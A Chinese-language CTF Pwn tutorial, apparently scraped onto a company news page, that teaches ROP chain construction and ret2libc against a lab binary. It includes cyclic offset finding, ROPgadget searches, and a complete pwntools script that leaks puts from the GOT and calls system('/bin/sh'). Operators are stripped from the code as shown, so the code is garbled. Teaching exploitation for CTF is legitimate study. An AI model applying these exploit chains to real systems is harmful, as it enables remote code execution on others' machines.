ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

没有后门也能getshell:CTF Pwn的ROP链与ret2libc实战

没有后门也能getshell:CTF Pwn的ROP链与ret2libc实战 1. ROP出现的背景一道没有win函数的题逼我走出舒适区CTF比赛里的Pwn题目很多入门教材都会告诉你先找后门函数找到system或者/bin/sh字符串直接调用就拿分了。我在刷题过程中遇到过不止一次这种尴尬题目给了一个非常明显的栈溢出可你翻遍整个二进制既没有system也没有execve连字符串列表里都搜不到/bin/sh。更别提像cat flag这种明文了——真要那么容易这题也就不值得放进比赛里了。第一次遇到这种题的时候我盯着ida的伪代码看了很久内心戏大概是这题目是不是出错了漏洞这么明显后门呢后来我才意识到Pwn的乐趣和价值恰恰在于此——没有后门才是常态。ROP链构造就是为这种场景准备的程序本身没有可以直接调用的危险函数但我们可以通过复用程序里已有的、以ret结尾的小片段gadget硬生生拼出一条执行链最终拿shell。本文想聊的就是没有后门也能拿shell这件事到底怎么实现。我会从ROP的底层原理讲到gadget的寻找方法再用一个完整的ret2libc实例带你走一遍从信息收集到getshell的完整链路最后专门用一节聊聊那些让我本地通、远程挂的经典坑。如果你是正在入门CTF Pwn、刷过一些栈类题目但对ROP还处于知道概念但不会动手状态的选手这篇文章应该能帮你捅破那层窗户纸。2. 没有后门的底层逻辑NX与代码复用2.1 为什么不能直接往栈里塞shellcode要理解ROP为什么存在首先得知道我们不能用的技术是什么。早期栈溢出攻击最常见的做法是往栈缓冲区里写入一段shellcode机器码然后用溢出覆盖返回地址让它指向这段shellcode所在位置。程序一retCPU就直接从栈上取指令执行shell就这么拿到了。这种攻击在早期系统上非常有效但现在基本行不通了因为有NXNo-eXecute防护。NX保护下数据页没有执行权限。栈是数据区哪怕你在里面写了再完美的shellcodeCPU试图从栈上取指令的那一刻程序就会直接段错误崩掉flag自然拿不到。打个比方栈就像一张只允许写字的纸NX保护让这张纸永远只能用来记录数据不能拿来当菜谱念给CPU听。你辛辛苦苦把shellcode抄在上面CPU过去一念发现这地方不允许读指令当场罢工。那怎么办思路很简单既然不能写新代码执行那就复用已有代码。程序本身加载到内存里之后代码段肯定是可执行的弹栈、函数调用、比较跳转这些逻辑都会用到。只要这些代码片段里存在以ret结尾的序列我们就能把它们当作现成的积木块拼出一条我们想要的执行路径。2.2 gadget是什么为什么必须以ret结尾在ROP语境里gadget是程序现有的可执行代码中以ret指令结尾的极短片段。比如下面这段机器码pop rdi ret也许程序原作者的意图只是某个函数的尾声、一段普通的数据处理逻辑但从字节流角度切割出来刚好构成了这样一条指令序列。攻击者能做的是把gadget的地址按顺序写进栈里覆盖返回地址之后CPU遇到第一个ret弹出栈顶地址跳过去执行那个gadgetgadget执行到自己的ret时又会弹出下一个gadget地址接着跳——如此循环形成一条流水线式的执行链。之所以要求以ret结尾是因为ret的本质是把栈顶的地址弹出来跳转过去。ROP链恰恰就是把关键参数和关键地址一股脑儿依次压在栈里靠ret一个接一个地消费它们。如果没有ret收尾指令流会在某个函数内部继续执行脱离我们控制链就断了。2.3 ROP和ret2libc的关系先搞清楚大类再动手了解了gadget的概念之后需要把常见的无后门拿shell技术路线理清楚。我按自己的理解分个类ret2libc最经典。利用libc库里现成的system函数和字符串/bin/shROP链的作用是把参数传好、把system调起来。难点在于需要先泄漏libc地址。ret2csu特殊但高频。程序里有__libc_csu_init这段通用代码里面天然存在一组控制rbx/rbp/r12-r15和后续调用的gadget序列在没有pop rdi这类简单gadget时特别好用。ret2syscall直接通过syscall指令触发execve系统调用。需要pop rax、pop rdi、pop rsi、pop rdx一组齐全的gadget以及已知syscall指令地址。比较依赖题目环境出现频率有时候比ret2libc还高。SROP用sigreturn机制伪造信号上下文异常精巧。入门阶段可以先了解不必急着深入。这篇主要展开ret2libc因为它是理解为什么ROP链能拼出函数调用的最短路径掌握之后再看其他类型就是一通百通了。3. 支起整条链的三根支柱偏移量、返回地址与参数传递3.1 偏移量怎么算从手工计算到工具辅助构造ROP链的第一步是确定输入数据到返回地址之间隔着多少字节。覆盖到返回地址的正确偏移量是一切后续操作的地基。最原始的方法是读反汇编数局部变量和栈布局。但实际工作中我更喜欢用工具pwntools的cyclic模式是我最常用的# 生成一段300字符的周期性模式串 cyclic 300 payload.txt # 把这段输入发送给程序 ./vuln payload.txt # 程序崩溃后用gdb查看崩溃时的RIP值 # 假设RIP 0x62616164那就可以反查偏移量 cyclic -l 0x62616164输出会直接告诉你偏移量是多少比如offset 136这说明从缓冲区开头数136个字节后面紧接着8字节x64下就是返回地址的位置。这个数字会随着编译器版本、是否开启栈保护而变化一定要以实际调试结果为准不要凭感觉估。另外提醒一句如果是用ida看伪代码别只看char buf[128]就以为偏移是128128字节buf加上栈上已有的其他布局往往会让你漏掉几字节或多算几字节。3.2 返回地址指向哪里劫持执行流的本质程序执行call func时CPU会把返回地址压栈函数返回时ret指令弹出这个地址跳回去继续执行。栈溢出能拿shell本质就是改变了这个返回地址的内容我们要往返回地址位置塞入gadget的地址让ret一跳执行流就落到我们安排好的位置。这里有个容易混淆的点不是非要覆盖到函数的最初返回地址。只要程序在某个ret时知道了你的地址值这个ret就会把你的地址当作下一个要执行的指令位置。我们可以把多段gadget地址连续排列在栈上CPU就会一个ret接一个ret地执行像多米诺骨牌被依次推倒。x64和x86在这一点上有个明显区别x64的参数前几个放在寄存器里所以需要pop rdi这类gadget来布置参数x86则是所有参数压在栈上ROP链里直接顺序排列参数值即可少了一道pop的功夫。初学如果先做了x86题再转x64容易在参数传递这一步绕半天值得提前注意。3.3 参数传递的技术细活pop rdi指令的魔力拿x64下的ret2libc来说调用system(/bin/sh)需要把字符串/bin/sh的地址放进rdi寄存器。但ROP链只是连续执行片段没有源码级别的函数调用谁来给rdi赋值答案就是gadget。一条pop rdi; ret的意思是从栈顶弹出一个8字节值放到rdi然后ret弹出下一个地址并跳转。所以payload布局就变成了填充偏移量 pop rdi; ret 的地址 /bin/sh 的地址 system 的地址执行流程是这样的第一个ret跳到pop rdi; ret栈顶是binsh地址pop把它放进rdi紧接着ret弹出system地址CPU跳到system入口system执行时rdi已经准备好了正确的参数system(/bin/sh)就调起来了。这就是ROP链最核心的积木拼装逻辑。如果还需要第二个参数、第三个参数就依葫芦画瓢找pop rsi; ret、pop rdx; ret串起来即可。这也是为什么找gadget时pop rdi; ret这种清清爽爽的gadget会被视为珍宝——它们让参数传递变得极其简明。4. 从零开始拆一道ret2libc题完整实操链路4.1 识别题目特征哪些花里胡哨的保护要看清拿到一道Pwn题第一件事永远是查保护用pwntools里的工具一条命令就能搞定checksec ./vuln输出长这样Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)我读这个输出的顺序基本是固定的Arch决定payload的布局64位按8字节对齐遇到pop rsi这类gadget要注意来源。NX enabled意味着堆栈不可执行ret2shellcode方案直接排除——这就基本锁定了ROP路线。No canary found说明没有栈保护覆盖返回地址时不用处理金丝雀干活时能舒服很多。有canary的题目是另一类玩法后面有机会单独写。No PIE (0x400000)表示地址固定gadget地址可以直接从程序文件里拿不用先泄漏程序基址。这大大降低了初学难度。4.2 寻找gadgetROPgadget工具实战确定走ROP路线之后就该找可用的gadget了。我用得比较多的是ROPgadget这个工具一条命令扫描二进制里的关键片段ROPgadget --binary ./vuln --only pop|ret | grep rdi常见输出0x0000000000401234 : pop rdi ; ret 0x0000000000401236 : pop rdi ; pop rbp ; ret有些题目没有干净的pop rdi; ret但存在pop rdi; pop rbp; ret这种多带上一个弹出操作的序列。这种也可以用因为多出来的pop会从栈上再弹掉一个8字节值payload里多塞一个占位值就行。动手构造时心里要清楚每个gadget会吃掉栈上的多少内容每次pop对应一个8字节的参数槽位少了会栈错位多了payload就乱了。也可以用pwntools自带的方法直接搜索更方便集成到脚本里from pwn import * elf ELF(./vuln) rop ROP(elf) pop_rdi rop.find_gadget([pop rdi, ret]).address print(hex(pop_rdi))顺着ROPgadget和pwntools两条路线都试试有助于加深对gadget分布的理解。用多了会发现gadget很多时候就藏在我们意想不到的函数中间比如printf、strcpy那些函数的开头几字节换一个角度切割字节流就会得到完全不一样的积木块。4.3 确定libc基址一次性泄漏与二次计算ret2libc的关键难点在于不知道libc里的system和/bin/sh具体在哪。地址随机化ASLR下每次程序运行libc的基址都可能不同我们不能硬编码地址。最常用的思路是先调用一次puts或printf把某个真实地址打出来拿到泄漏的地址后再减去这个地址在libc文件中的固定偏移算出libc基址。有了基址system和binsh的真实地址就是基址加固定偏移的事。第一次payload长这样填充偏移量 pop rdi; ret 的地址 putsgot 的地址 # 让puts打印出GOT表里存放的真实地址 putsplt 的地址 # 跳转执行puts main 的地址 # 执行完再回到main方便进行第二次输入关于动态链接有个背景知识要补一下可执行文件调用共享库函数时本地还会存在一个GOT表存放该函数在内存中的真实地址。我们泄露出puts在GOT里被解析后的真实地址用libc文件对比偏移就能算出基址进而算出system和binsh地址。这是整个ret2libc流程里最核心的一步。4.4 构造最终payload与getshell脚本拿到libc基址后第二次攻击就容易了直接构造最终链。下面是一个完整的例子脚本题名为vuln有两个函数栈溢出一个恰好是主函数from pwn import * context(archamd64, log_leveldebug) p process(./vuln) elf ELF(./vuln) libc ELF(./libc.so.6) # 比赛时可以用提供的libc文件没有就靠LibcSearcher pop_rdi 0x0000000000401234 # 假设ROPgadget查出的地址 puts_got elf.got[puts] puts_plt elf.plt[puts] main_addr elf.symbols[main] # 第一次泄漏puts真实地址 payload_1 bA * 136 payload_1 p64(pop_rdi) # pop rdi; ret payload_1 p64(puts_got) # rdi puts的真实地址所在位置 payload_1 p64(puts_plt) # 调用puts payload_1 p64(main_addr) # 回到main再战一次 p.sendline(payload_1) p.recvuntil(b\n) leak u64(p.recv(6).ljust(8, b\x00)) # puts实际地址 libc_base leak - libc.symbols[puts] print(libc_base , hex(libc_base)) # 以下从libc基址继续推导 system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh)) # 第二次getshell payload_2 bA * 136 payload_2 p64(pop_rdi) payload_2 p64(binsh_addr) payload_2 p64(system_addr) p.sendline(payload_2) p.interactive()注意一个细节u64(recv(6).ljust(8, b\x00))是因为puts打印地址时遇到\x00会自动停止输出64位地址的高位通常是\x00不会打印出来所以只读6字节然后补零成8字节还原完整值。有些环境的地址开头带\n或者换行符可能需要先清理输出缓冲实战时可以自己调试。如果题目远程打不通很可能就是libc版本问题。本地用的libc和远程可能不一致system和binsh的偏移就完全不同。解决办法是在比赛现场找找有没有提供libc文件或者用LibcSearcher这类工具根据泄漏的低12位和pattern去匹配可能的libc版本随后再计算。5. gadget不只是pop rdi进阶拼装思路与工具链5.1 常见gadget类型一览什么场景优先用哪种只掌握一个pop rdi; ret面对的题目范围会很窄。我把实战中常用的gadget类型整理成了一张表方便在动手前快速对照gadget类型典型指令形态典型用途参数传递型pop rdi; ret、pop rsi; ret、pop rdx; ret布置前几个函数参数栈迁移型leave; ret把rsp/ebp切到可控缓冲区解决栈溢出空间不足的问题万能调用型mov rdi, r12; call [r13rbx*8]等ret2csu没有常用参数gadget时的兜底方案系统调用触发型syscall; retret2syscall/SROP场景清理/对齐型ret裸ret栈对齐、跳过某些干扰指令leave; ret值得单独说它等价于mov rsp, rbp; pop rbp; ret能把栈指针切到我们预先控制的内存区域比如.bss段里的全局缓冲区。当栈溢出空间不够容纳长payload时可以先把栈迁移到一块大缓冲区里继续执行属于高级但关键时刻救命的技巧。至于裸ret以前经常被忽略后来发现它极其好用内存对齐不对、某些gadget前面需要补一个nop位的时候一个单ret就能解决。5.2 ret2csu没有好参数gadget时的通用方案x64程序往往有一段系统自动插进去的__libc_csu_init函数里面的汇编代码几乎都是经典的固定形状如下所示pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ... mov rdx, r15 ; mov rsi, r14 ; mov edi, r13d ; call [r12rbx*8]这段代码的最大价值在于它能同时设置rdx、rsi、rdi三个参数寄存器最后调用r12rbx*8指向的函数。在没有pop rdi、pop rsi、pop rdx时ret2csu几乎是必杀技。利用时要逆着顺序去理解它的调用逻辑把r15、r14、r13、r12、rbx这五个寄存器都安排好。初学时会觉得麻烦但练过一次就会感谢这道保险栓。找它很简单在ida里看init函数或者反汇编里搜__libc_csu_init即可。算地址要格外小心中间有几次跳转和call需要自己跟一遍确保跳转关系正确尤其是call [r12rbx*8]这个间接调用要注意寄存器溢出之后还得能把流程导回正轨。5.3 工具链与脚本技巧让拼装速度提上来真要靠手写一堆p64去拼效率低且容易错。下面这些工具和脚本技巧可以让效率明显提升pwntools的ROP类支持直接rop.call(system, [binsh])这种高级写法自动帮你找gadget、拼p64大幅减少重复劳动。ROPgadget和ropper一个偏命令行、全量扫描另一个有交互式搜索可以多次筛选。我一般先用ROPgadget扫全量再用ropper根据具体需求二次精确匹配。gdb-peda/pwndbg插件配合cyclic和断点调试可以逐步观察栈上内容的变化对理解payload落地过程帮助极大。LibcSearcher远程题不知道libc版本时能把泄漏的低位地址作为指纹去匹配常见libc省掉大量手工比对工作。说到脚本建议从一开始就让off-by-one、变量命名清晰payload部分用注释标出每一步的用途。比赛现场时间紧时要debug一个八竿子打不着的拼装错误是最痛苦的好习惯能救自己一命。5.4 one_gadget一条指令拿shell的偷懒办法高阶选手还常用one_gadget这是libc里预置好的、只用一个地址就能触发execve(/bin/sh)的特殊gadget。用法是运行one_gadget ./libc.so.6会输出几个地址和它们分别需要满足的约束条件比如0x4f2a5 execve(/bin/sh, rsp0x40, environ) constraints: rsp 0xf 0 rcx NULL如果你构造的ROP链能刚好满足某个约束条件只需要把one_gadget地址直接填到返回地址位置就能拿shell省去传参的整套流程。不过约束条件往往让人头疼需要配合栈对齐或者额外控制寄存器来凑条件所以实际使用中还是ret2libc这种慢但稳的方法更可靠。6. 频繁翻车的四个坑栈对齐、换行符、libc版本与调试手法6.1 movaps栈对齐问题本地通、远程挂的经典元凶打ret2libc时经常遇到一种奇怪现象本地明明是通的一发远程就挂或者本地第一次打成功第二次崩。这类问题的头号元凶常常是栈对齐stack alignment。x64的程序通常假设在call指令进入函数时rsp是按16字节对齐的。system内部如果有用到movaps这类对齐指令栈不满足对齐条件就会段错误。解决办法就是在调用system之前多执行一个裸ret指令把栈指针挪动8字节让它凑齐对齐条件。payload格式变成填充偏移量 ret 的地址 pop rdi; ret 的地址 binsh 的地址 system 的地址多塞进去的裸ret就是为了让rsp在进入system时刚好满足对齐条件。遇到莫名其妙的段错误优先检查这一步。6.2 地址里的换行符payload里不能出现0x0a构造payload时要留意写入的地址会不会包含0x0a换行符或0x00。比如read(0, buf, n)这类函数会完整读入这些字节但如果你用的是gets遇到换行符就停了某些输入场景下0x0a会被当作结束标志导致payload被截断。排查方法是逐字节检查p64地址里有没有0x0a或者0x00。pwntools提供了p64(addr).replace(b\x0a, b)这种硬改怪的写法但真正优雅的文件做法是换一个gadget或者在别的位置绕开这个字节。我在初期因为这个问题卡过的次数仅次于栈对齐。6.3 libc版本不匹配远程为什么打不通ret2libc计算地址时用的是libc文件里的固定偏移。本地libc和远程libc不一致时算出来的system和binsh地址完全对不上。比赛题目一般会附带libc文件或者远程环境明确告知是什么系统版本没有这些信息时可以用LibcSearcher靠泄漏的低12位去搜版本。还有一点容易忽略ASLR只随机化基址的高位低12位是固定的。所以哪怕不知道libc版本也可以先泄露一个地址用低12位作为指纹去LibcSearcher搜索通常能搜到几个候选版本再逐个尝试连接。过程稍微麻烦但这是在无限网环境打远程题的必经之路。6.4 用gdb把payload落地过程看清楚遇到凭肉眼检查了一遍payload觉得逻辑没问题但就是不通的题我会直接在gdb里跑一遍观察真实执行流的走向。把打印出来的RSP/RIP和栈上内容对照payload布局哪里错了一眼就能看出来。常用命令大概是gdb ./vuln b *0x400000 # 在返回地址位置下断点 r payload.txt x/20gx $rsp # 查看栈顶20个8字节内容有pwndbg或peda插件后断点处直接就能看到栈的分布和寄存器状态排查效率高很多。调试过程本身也是理解ROP最直观的方法尤其是ret2csu那种复杂调用不看栈上寄存器的变化真的很难看懂。7. 最后的几段心里话与两个实用技巧翻来覆去讲了这么多归根结底想说的是ROP并没有想象中那么高不可攀它只是在既定保护规则下充分利用现有代码的一种精巧艺术。你第一次亲手构造出一条能打通题目的ROP链时那种原来如此的感觉比背十篇教程都管用。顺带分享两个我后期才悟到的实用技巧。第一个是地址泄漏一定要趁早很多题第一次泄漏泄露的信息类别很单一尽可能在同一轮泄漏里把puts之外的其他GOT地址也打出来能省一轮交互减少变量。第二个是每道Pwn题必写一份模板脚本把checksec、查gadget、泄漏、计算偏移、PIE基址这些常见操作封装成函数比赛时能节约大量时间也能减少低级错误。另外如果你刚刷完栈基础题准备专攻ROP建议按照ret2libc、ret2csu、ret2syscall、SROP的顺序层层推进。每个类型找两三道经典题练手把失败经验和调试过程记在笔记里。坚持一段时间之后你会发现拿到一道新题不再焦虑会不会没有后门而是会自然地问自己它的libc是什么版本哪个地址最好泄漏gadget够不够用到这一步你就算真正迈过Pwn入门这道坎了。
返回列表